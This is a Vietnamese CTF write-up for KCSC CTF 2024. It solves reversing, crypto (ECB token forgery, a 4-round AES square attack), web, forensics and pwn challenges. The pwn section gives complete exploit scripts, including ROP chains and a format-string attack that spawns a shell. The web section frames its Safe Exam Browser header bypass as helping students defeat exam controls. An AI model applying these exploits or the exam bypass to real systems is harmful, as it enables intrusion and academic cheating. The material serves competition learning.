# KCSC CTF 2024 ## Rev ### f@k3 Load chương trình vào ida, mình thấy chương trình khá là đơn giản, chỉ là sử dụng thuật toán `RC4`, tiến hành lấy cipher và decrypt bằng `Cyberchef` thì được kết quả như sau ![image](https://hackmd.io/_uploads/HJd4t8CMR.png) Mình submit thử thì thấy nó không đúng thật, dù khi chạy file vẫn trả về `Correct!`, mình thử nhập 1 string khác vào vẫn trả về `Correct!` :V ![image](https://hackmd.io/_uploads/Hki2K8CzR.png) Mình tiến hành phân tích lại file, có 1 hàm như sau ![image](https://hackmd.io/_uploads/HkQx5LCfA.png) Hàm trên thực hiện hook sửa địa chỉ của hàm `lstrcmpA` thành địa chỉ của `sub_7FF764A611D8`, đây có lẽ là lý do mà ta nhập gì vào cũng trả về `Correct!` Mình debug lại và nhảy vào hàm `lstrcmpA` ![image](https://hackmd.io/_uploads/HyQqcUAG0.png) Sau khi đọc mãi, vẫn không nghiệm ra được là đoạn code này có tác dụng gì không vì trong vòng for không thực hiện hành động gì cả :V. Sau đó author có up lại file thì code của vòng for giờ như sau ![image](https://hackmd.io/_uploads/SJrNoLRzC.png) #### Solution ##### 1. Intend Ở đây key được gọi đến ở 1 hàm khác, ở đó key được biến đổi từ `F@**!` --> `FA++!`, có lẽ key này mới là key chuẩn cho việc sử dụng mã hóa rc4, ta patch lại là được ![image](https://hackmd.io/_uploads/r1Wq_G-QA.png) ![image](https://hackmd.io/_uploads/Sy8btG-QR.png) Cipher có được sau khi sử dụng RC4 Ở vòng for lấy 4 byte đầu của chuỗi này xor với data phía trên, mình có xor thử bên ngoài thì chữ đầu tiên là `K` trong `KCSC` --> đến đây là xong rồi :vvvvv ![image](https://hackmd.io/_uploads/ryfDFzWmR.png) ##### 2. Unintend Mình sử dụng solution này trong lúc thi. Tức là mình sẽ không patch lại key chuẩn mà vẫn dùng key sai để cho ra fake flag bên trên. Vòng for này sẽ xor `KCSC` với data ở bên trên ra cipher như dưới đây ![image](https://hackmd.io/_uploads/B122iURMC.png) Ta có thể thấy được rằng lấy 4 byte đầu của cipher xor với 4 byte đầu của data sẽ ra được là `KCSC` vừa đúng format flag. thế là mình lấy 4 byte đầu đó xor thử với toàn bộ data thì ra được flag thật =)))) ```python= #script key = bytes.fromhex("2D 0E 5F E2") enc = bytes.fromhex("66 4D 0C A1 56 3F 2B BD 4E 61 6A 8E 49 51 3D 87 72 7C 36 85 45 7A 68 BD 4B 62 3E DB 72 66 3A 90 48 51 01 CC 73 4E 1F 9F") for i in range(len(enc)): print(chr(key[i%4] ^ enc[i]),end="") #KCSC{1t_co5ld_be_right7_fla9_here_^.^@@} ``` ## Crypto ### Evil ECB ```python! def login(self, token): try: data = json.loads(unpad(self.cipher.decrypt(bytes.fromhex(token)), 16).decode()) if data['username'] not in self.users: return '[-] Unknown user' if data['username'] == "admin" and data["isAdmin"]: return '[+] Hello admin , here is your secret : %s\n' % flag return "[+] Hello %s , you don't have any secret in our database" % data['username'] except: return '[-] Invalid token !' ``` Mục đích của bài này đó là mình phải đăng kí được username là admin và isAdmin = True thì mình sẽ có được flag tuy nhiên khi đăng kí thì mình chỉ có được là username khác admin và isAdmin gắn mặc định là False ```python! def register(self, user): if user in self.users: return '[-] User already exists' data = b'{"username": "%s", "isAdmin": false}' % (user.encode()) token = self.cipher.encrypt(pad(data, 16)).hex() self.users.append(user) return '[+] You can use this token to access your account : %s' % token ``` Tuy nhiên khi đăng kí thì username trong register là cái gì cũng được và do nó được mà hóa bằng ecb nên các khối không liên quan đến nhau điều này cho phép ta chỉ cần lấy phần mã mà ta mong muốn, vậy nên đơn giản là mình chỉ cần chèn thêm đúng cái {"username": "admin", "isAdmin": true} vào và thêm phần đệm sao cho phù hợp nữa là xong vì đoạn đầu nó có cái `{"username": "` thì cái này đã mất 14 byte rồi thì việc của mình là cho thêm 2 byte bất kỳ để cho nó thành 1 khối rồi bắt đầu từ khối sau thì mình sẽ chèn cái đoạn `{"username": "admin", "isAdmin": true}` mà mình muốn vào mà length của đoạn này là 38 nên mình sẽ cần đệm thêm 10 bytes([10]) nữa để sao cho đủ 48 byte thế là xong đoạn này và còn phần `isAdmin: false` ở đằng sau thì mình để nó tự padding cũng được ``` b'{"username": "\x02\x02' b'{"username": "ad' b'min", "isAdmin":' b' true}\n\n\n\n\n\n\n\n\n\n' b'", "isAdmin": fa' b'lse}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c' ``` không hiểu sau cái đoạn ở sau 3 khối 2,3,4 nó padding kiểu gì mà nếu mình không để padding đằng sau thì nó lại bị lỗi(cái này làm mình tốn đống thời gian) trong khi cái mình lấy ra chỉ có 3 khối là 2,3,4 không liên quan phía sau. Nhưng sau 1 hồi thì mình thêm 1 vài bytes đằng sau cho nó padding vì đoạn sau mình không lấy nhưng lần này nó lại được. * Script ```python! from Crypto.Util.number import * from pwn import * io = remote("103.163.24.78",2003) io.recvuntil(b'> ') io.sendline(b'2') io.recvuntil(b'Username: ') io.sendline(b'aa{"username": "admin", "isAdmin": true}\n\n\n\n\n\n\n\n\n\na') io.recvuntil(b'[+] You can use this token to access your account : ') sendl = io.recvline()[32:128] io.recvuntil(b'> ') io.sendline(b'1') io.recvuntil(b'Token: ') io.sendline(sendl) print(io.recvline()) io.close() ``` Flag: KCSC{eCb_m0de_1s_4lways_1nSecUre_:))} ### KCSC Square Mở file aes.py thì mình thấy đây là mã hóa aes nhưng chỉ có 4 rounds là loại tấn công cho loại này là square attack. Link tham khảo: https://www.davidwong.fr/blockbreakers/square_2_attack4rounds.html ![image](https://hackmd.io/_uploads/SJFIy-Z70.png) Các bước tấn công như sau: 1.Generate 𝛬-set với active index là i, sau đó encrypt toàn bộ các phần tử trong set. Ta gọi tập các phần tử nhận được là enc-𝛬-set 2.Đoán roundKey[4][i] = guess là một giá trị từ 0-255 3.Với mỗi ciphertext trong enc-𝛬-set, ta sẽ thay đổi ciphertext[i] = ciphertext[i] ^ roundKey[i]. Sau đó, ciphertext mới của chúng ta sẽ đi qua 2 bước là InvShiftRows và InvSubBytes. Ta gọi tập các phần tử nhận được lúc này là enc2-𝛬-set 4.Kiểm tra xem enc2-𝛬-set của chúng ta có thỏa mãn tính chất (*) hay không. Nếu có, guess có thể chính là giá trị ta đang cần tìm. 5.Nếu có nhiều giá trị guess thỏa mãn, ta nên regenerate 𝛬-set cho đến khi chỉ tìm được duy nhất 1 giá trị thỏa mãn - lib aeskeyschedule: https://github.com/fanosta/aeskeyschedule ```python! # script được modify từ: https://hackmd.io/@Giapppp/square_attack?utm_source=preview-mode&utm_medium=rec#T%C3%A0i-li%E1%BB%87u from pwn import * from tqdm import tqdm from aeskeyschedule import reverse_key_schedule from aes import * import os r = remote('103.163.24.78', 2004) inv_s_box = ( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D, ) plaintext = [] ciphertexts = [] def encrypt(pt: bytes): r.recvuntil(b'> ') r.sendline(b'1') r.recvuntil(b'Plaintext in hex: ') r.sendline(pt.hex().encode()) ct = r.recvline().decode() return bytes.fromhex(ct) def find_key_bytes(idx: int): real_ans = set(list(range(256))) while True: ans = set() A_set = [] init = os.urandom(16) for i in range(256): temp = bytearray(init) temp[idx] = i A_set += [encrypt(temp)] for i in range(256): A_set_dec = 0 for ele in A_set: A_set_dec ^= inv_s_box[ele[idx] ^ i] if A_set_dec == 0: ans.add(i) real_ans.intersection_update(ans) if len(real_ans) == 1: return real_ans.pop() def process_idx(idx): ans = find_key_bytes(idx) return ans key = [] for i in tqdm(range(16)): ans = find_key_bytes(i) key.append(ans) hexkey = reverse_key_schedule(bytes(key), 4).hex() r.recvuntil(b'> ') r.sendline(b'2') r.recvuntil(b'Key in hex: ') r.sendline(hexkey) r.interactive() ``` ## Web ### I. Itest develop #### Bài này giúp sinh viên KM4 cũng như sinh viên các trường sử dụng SEB trong các kỳ thi biết cách bypass config ![image](https://hackmd.io/_uploads/H18gNZyQA.png) ## 1. Local test - Set-up như sau ![image](https://hackmd.io/_uploads/BkzptZkQA.png) - Build docker rồi vào `Safe Exam Browser` ![image](https://hackmd.io/_uploads/ryfhyMkmC.png) - Đọc source js và chú ý đoạn sau ![image](https://hackmd.io/_uploads/SJPj1GkXC.png) - Seb sẽ tạo và gửi 2 header như sau lên server ```jsonld= x-safeexambrowser-configkeyhash:sha256(url + configKey) x-safeexambrowser-requesthash:sha256(url + broswerKey) ``` - Do đó khi ta vào trang `http://localhost:10003/` sẽ hiện ra ![image](https://hackmd.io/_uploads/r1j8Wzk7A.png) - Thêm code in ra `header:value` ```jsonld= reply.type('text/html').status(403).send('pls use on safe exam browser || x-safeexambrowser-configkeyhash:' + configKeyHash + " || x-safeexambrowser-requesthash:" + broswerExamKeyHash + " || " + `http://itest.kcsc.tf:10003${req.url}`) ``` - ![image](https://hackmd.io/_uploads/Sy7MMfym0.png) - Add header ![image](https://hackmd.io/_uploads/BJ_SfzkQA.png) ## 2. Exploit server - Lấy key bằng cách add config của file `kcsc-ctf.seb` vào SEB ![image](https://hackmd.io/_uploads/BkPjPz1QC.png) - Add config nhưng phải có mật khẩu của file `SEB` ![image](https://hackmd.io/_uploads/ry0CPMyXR.png) -> Tại đây guessing do mình thử pass `KCSC` do phần này khác với seb thông thường ![image](https://hackmd.io/_uploads/SJVQuMJQA.png) - Qua Exam để lấy 2 key về file `.env` ![image](https://hackmd.io/_uploads/SJfvOMymR.png) - Sửa code để lấy `header:value` để gửi lên server ```jsonld= let configKeyHash = calculateConfigKeyHash(fastify.config.CONFIG_KEY, `http://itest.kcsc.tf:10003${req.url}`) let broswerExamKeyHash = calculateBrowserExamKeyHash(fastify.config.BROWSER_EXAM_KEY, `http://itest.kcsc.tf:10003${req.url}`) if (req.headers['x-safeexambrowser-configkeyhash'] !== configKeyHash || req.headers['x-safeexambrowser-requesthash'] !== broswerExamKeyHash) { reply.type('text/html').status(403).send('pls use on safe exam browser || x-safeexambrowser-configkeyhash:' + configKeyHash + " || x-safeexambrowser-requesthash:" + broswerExamKeyHash + " || " + `http://itest.kcsc.tf:10003${req.url}`) } ``` - Lấy key rồi đưa sang attack server ![image](https://hackmd.io/_uploads/HJ_apzy7C.png) - Có cookie và flag location ![image](https://hackmd.io/_uploads/S1040My7A.png) ![image](https://hackmd.io/_uploads/B1vRRfy70.png) #### Flag: KCSC{-Ban-Da-Bi-Dinh-Chi-Thi-Mon-Nay-17c6c806-173f-45dd-b7bf-9f33f849df21} ## Forensic ### Externet Inplorer Bài này ta chỉ cần dùng tool để tìm timestamp thôi: https://dfir.blog/unfurl/ ![image](https://hackmd.io/_uploads/SJhpnlWQR.png) Flag: KCSC{2023-09-18_08:32:22.547027} ## Pwn ### Simple Qiling Dựa vào link này để có thể có môi trường chạy binary : !linkhttps://docs.qiling.io/en/latest/install/ Đòng thời mình dựa vào bài WU này để biết được một số thông tin quan trọng để có thể solve challenge , https://ptr-yudai.hatenablog.com/entry/2023/07/22/184044#qjail . Mình đã compile một file binary tĩnh sau đó chạy nó để test thử , thì mình có thể thấy canary luôn là 0x6161616161616100 : ![image](https://hackmd.io/_uploads/B1d_pg-X0.png) Sau đó mình cũng biết được rằng địa chỉ libc cũng sẽ luôn cố định : Đây là ảnh memory của chuiowng trình khi mà nó crash , chạy nó 1,2 lần thì thấy địa chỉ này không bao giờ thay đổi : ![image](https://hackmd.io/_uploads/SyB5pe-70.png) exploit : ```python! #!/usr/bin/env python3 from pwn import * libc = ELF('./libc-2.31.so',checksec=False) context.binary = exe = ELF('./simpleqiling',checksec=False) def GDB(): gdb.attach(p,gdbscript = ''' c ''') input() # p = process(["python3", "qi.py", "simpleqiling"]) p = remote("103.163.24.78",10010) exe.address = 0x555555554000 libc.address = 0x7fffb7dd6000 RDI = libc.address + 0x0000000000023b6a RSI = libc.address + 0x000000000002601f RDX = libc.address + 0x0000000000142c92 ret = libc.address + 0x0000000000022679 xchg = libc.address + 0x00000000000f1b65 RAX = libc.address + 0x0000000000036174 syscall = libc.address + 0x00000000000630a9 RSP = libc.address + 0x000000000002f70a payload = flat( b"a"*0x28, 0x6161616161616100, 0x00000555555558500, RDI,0x000005555555585a0, libc.sym['gets'], RDI,0x000005555555585a0, libc.sym['puts'], RSP,0x000005555555585a0 + 0x10 + 0x100, ) # GDB() p.sendline(payload) payload = flat( b"./flag.txt",b"\x00"*6, b"a"*0x100, RDI,0x000005555555585a0, RSI,0,RDX,0, libc.sym['open'], xchg, RSI,0x00000555555558500, RDX,0x100, libc.sym['read'], RSI,0x00000555555558500, RDX,0x100, RDI,1, libc.sym['write'] ) sleep(1) p.sendline(payload) p.interactive() ``` ### KCSC BANKING Chúng ta có thể dễ dàng thấy một bug format string trong hàm info ![image](https://hackmd.io/_uploads/SJR2pl-mA.png) Exploit : +) sử dụng formattring để leak địa chỉ +) Ta có thẻ tháy ở hàm logging , ta có thể tháy chương trình cho ta nhập rất nhiều byte cho username và password , nếu như debug có thể thấy nếu nhập đủ nhiều ký tự cho thì username của ta sẽ vẫn còn sót lại ngay cạnh địa chỉ trả về của hàm info . +) Vậy bây giờ ta chỉ cần sử dụng formatstring để có thể ghi đè địa chỉ trả về của hàm info thành lệnh ret , trong username lúc đăng nhập ta sẽ chỉnh sao cho ngay sau địa chỉ trả về của hàm info sẽ là lệnh add rsp bao nhiêu đó để có thể nhảy vô payload ta chuẩn bị ở password +) Vậy ở password ta chỉ cần ROP để có shell là được ```python! from pwn import* libc = ELF("./libc.so.6",checksec = False) context.binary = exe = ELF("./banking",checksec = False) def GDB(): gdb.attach(p,gdbscript=''' c ''') input() # /usr/lib/x86_64-linux-gnu/libc.so.6 # p = remote("0",10002) p = remote("103.163.24.78",10002) # p = process(exe.path) def reg(username,password,fullname): p.sendlineafter(b"> ",b"2") p.sendlineafter(b"username: ",username) p.sendlineafter(b"password: ",password) p.sendlineafter(b"name: ",fullname) def login(username,password): p.sendlineafter(b"> ",b"1") p.sendlineafter(b"Username:",username) p.sendlineafter(b"Password:",password) def info(): p.sendlineafter(b'>',b"3") input("Set the break point") # GDB() acc = b"DQP" S2 = b"1" payload = b"%p || "*5 + b"^%p^" + b" $ %p$" + b"|%p|"*3 + b"&&& %p&" reg(acc,S2,payload) login(acc,S2) info() p.recvuntil(b"^") stack = int(p.recvuntil(b"^",drop=True),16) log.info('[+] STACK : ' + hex(stack)) p.recvuntil(b"$ ") exe.address = int(p.recvuntil(b"$",drop=True),16) - 0x17d6 p.recvuntil(b"&&& ") libc.address = int(p.recvuntil(b"&",drop=True),16) - 0x55b32 log.info('[+] EXE LEAK : '+ hex(exe.address)) log.info('[+] LIBC LEAK : '+ hex(libc.address)) one = libc.address + 0xe35a9 RDI = libc.address + 0x00000000000240e5 RDX = libc.address + 0x0000000000026302 RSI = libc.address + 0x000000000002573e # ########## change the stack ############# saverip = stack - 0x128 one_stack = stack - 0x108 ret = exe.address + 0x000000000000101a RSP58 = libc.address + 0x000000000009ac55 # add rsp, 0x58; ret; payload = flat( b"A"*0x58, p64(saverip), ) p.sendlineafter(b"> ",b'4') p.sendlineafter(b"Please leave a feedback:",payload) acc1 = flat( RSP58,b"A"*(0x30- 0x18) , p64(RSP58) ) s3 = flat( RDI,next(libc.search(b"/bin/sh\x00")), # ret, libc.sym['system'] ) s3 = s3.ljust(0x58,b"B") s3 += p64(saverip) payload = flat( f"%{ret & 0xffff}c%31$hn" ) reg(acc1,s3,payload) login(acc1,s3) info() p.interactive() ```